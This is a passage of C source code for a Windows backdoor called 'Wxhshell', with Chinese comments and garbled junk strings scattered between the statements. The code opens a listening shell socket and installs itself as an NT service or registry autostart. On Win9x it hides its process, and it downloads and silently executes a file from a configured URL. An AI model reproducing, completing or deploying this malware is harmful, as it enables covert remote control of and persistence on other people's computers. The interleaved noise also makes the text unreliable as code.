j"ThEx0 CloseHandle(hProcess); Y;dz,}re 2iY3Lsna hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [YRz*5 if(hProcess==NULL) return 0; #|Y5,a,{ }iXDa?6% HMODULE hMod; \\r)Ue] char procName[255]; 2Nu=/tMN unsigned long cbNeeded; "Gfh ,e q+H%)kF if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6]V4muz#c bU>U14ix< CloseHandle(hProcess); \f]k CB <C1H36p if(strstr(procName,"services")) return 1; // 以服务启动 C]O(T2l{l RkH W
return 0; // 注册表启动 x[wq]q#* } fM]+SMZy @K\~O__ // 主模块 q}`${3qQ3 int StartWxhshell(LPSTR lpCmdLine) nW PF6V> { _GXk0Ia3` SOCKET wsl; j~2{lCT BOOL val=TRUE; 5gb|w\N> int port=0; v~f HYa> struct sockaddr_in door; A;;fACF8e ciFmaM. if(wscfg.ws_autoins) Install(); q!{y&.&\ L"E7#} port=atoi(lpCmdLine); <;9I@VYK 0IwA#[m1` if(port<=0) port=wscfg.ws_port; :#LLo}LKp T%.8'9 WSADATA data; %824Cqdc if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6*PYFf` B8nf,dj?X if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -E^vLB)O setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bx#>BK! door.sin_family = AF_INET; F |d\k Q door.sin_addr.s_addr = inet_addr("127.0.0.1"); +DW~BS3 door.sin_port = htons(port); j-4VB_N@ AYt%`Y.! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3C?f(J} closesocket(wsl); xHUsFms return 1; `n#H5Oyn } Pj#<K%Bz Gy9$wH@8 if(listen(wsl,2) == INVALID_SOCKET) { (_niMQtF} closesocket(wsl); \a 5U8shc return 1; ]9YJ,d@J } o9|nJ; Wxhshell(wsl); sT !~J4 WSACleanup(); 3VsW@SG7N WzPTFw[ return 0; -MW_|MG %z/hf } ~k\fhx zjJ *n8l // 以NT服务方式启动 9E
zj" VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j5K]CTz# { Hc!
mB DWORD status = 0; B( ]M& DWORD specificError = 0xfffffff; i'a?kSy .\[`B.Q serviceStatus.dwServiceType = SERVICE_WIN32; xAqb\|$^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; YNLV9.P6 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; un)4eo!7 serviceStatus.dwWin32ExitCode = 0; n)L* serviceStatus.dwServiceSpecificExitCode = 0; X>d"]GD serviceStatus.dwCheckPoint = 0; Q;[,Q~c[u serviceStatus.dwWaitHint = 0; `e(c^ z# qOe+ZAJ{%N hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VeGL) if (hServiceStatusHandle==0) return; aDq5C-MzG y[`l3;u:' status = GetLastError(); _a5d?Q9Z if (status!=NO_ERROR) pf%=h
| { !g?|9 serviceStatus.dwCurrentState = SERVICE_STOPPED; *?Lv3}E serviceStatus.dwCheckPoint = 0; (*Z)(O*z serviceStatus.dwWaitHint = 0; hLI`If/+K serviceStatus.dwWin32ExitCode = status; W}--p fG serviceStatus.dwServiceSpecificExitCode = specificError; qmnZAk SetServiceStatus(hServiceStatusHandle, &serviceStatus); !2 LCLN\ return; NMW#AZVd } kjW+QT?T& ZO!I. serviceStatus.dwCurrentState = SERVICE_RUNNING; Qt iDTr serviceStatus.dwCheckPoint = 0; <A[E:*`* serviceStatus.dwWaitHint = 0; ~"!]
3C,L if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AuUde$l_ } Y,GU%[+ ks3`3q 7 // 处理NT服务事件,比如:启动、停止 TMAJb+@l: VOID WINAPI NTServiceHandler(DWORD fdwControl) " W!M[qBW { ,oN8HpGs switch(fdwControl) k'gh { 1LqoF{S: case SERVICE_CONTROL_STOP: U1@IX4^2` serviceStatus.dwWin32ExitCode = 0; , R'@%,/ serviceStatus.dwCurrentState = SERVICE_STOPPED; IC#>X5 serviceStatus.dwCheckPoint = 0; IM:=@a{ serviceStatus.dwWaitHint = 0; |M>eEE*F< { 6BY-^"W5` SetServiceStatus(hServiceStatusHandle, &serviceStatus); !(mjyr } wAX1l*` return; O#x*iI% case SERVICE_CONTROL_PAUSE: 3 j!3E serviceStatus.dwCurrentState = SERVICE_PAUSED; }XZ'v_Ti break; iDN;m`a case SERVICE_CONTROL_CONTINUE: m$`RcwO serviceStatus.dwCurrentState = SERVICE_RUNNING; 6Se?sHC> break; fXXr+Mor case SERVICE_CONTROL_INTERROGATE: B||*.`3gN break; $.C=H[QC }; :@kGAI SetServiceStatus(hServiceStatusHandle, &serviceStatus); {_b%/eR1 } mYxuA0/k 4oK?-|=? // 标准应用程序主函数 .clP#r{U int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) guX
9} { W@ T~ly;e* 9!f/aI // 获取操作系统版本 uG?_< mun OsIsNt=GetOsVer(); $u7;TW6QD GetModuleFileName(NULL,ExeFile,MAX_PATH); w ihH?~] .9,zL=)Ba // 从命令行安装 6$fHtJD: if(strpbrk(lpCmdLine,"iI")) Install(); m*ISa(#(, ]P#XVDn+; // 下载执行文件 H70LhN if(wscfg.ws_downexe) { 8j Mk)- if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %dJX-sm@ WinExec(wscfg.ws_filenam,SW_HIDE); 7x#Ckep:I }
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uZ8:f <!L>Exh&r if(!OsIsNt) { bQE};wM, // 如果时win9x,隐藏进程并且设置为注册表启动 k xP-,MD HideProc(); uJOJ-5}yt StartWxhshell(lpCmdLine); (H)2s Y } O>SLOWgha else x6(~;J if(StartFromService()) t]>Lh>G // 以服务方式启动 &Q+Ln,(&L StartServiceCtrlDispatcher(DispatchTable); tDSJpW'd else (]b!{kS // 普通方式启动 =fu
:@+ StartWxhshell(lpCmdLine); w<zIAQN Ks=>K(V6 return 0; h lkn% }
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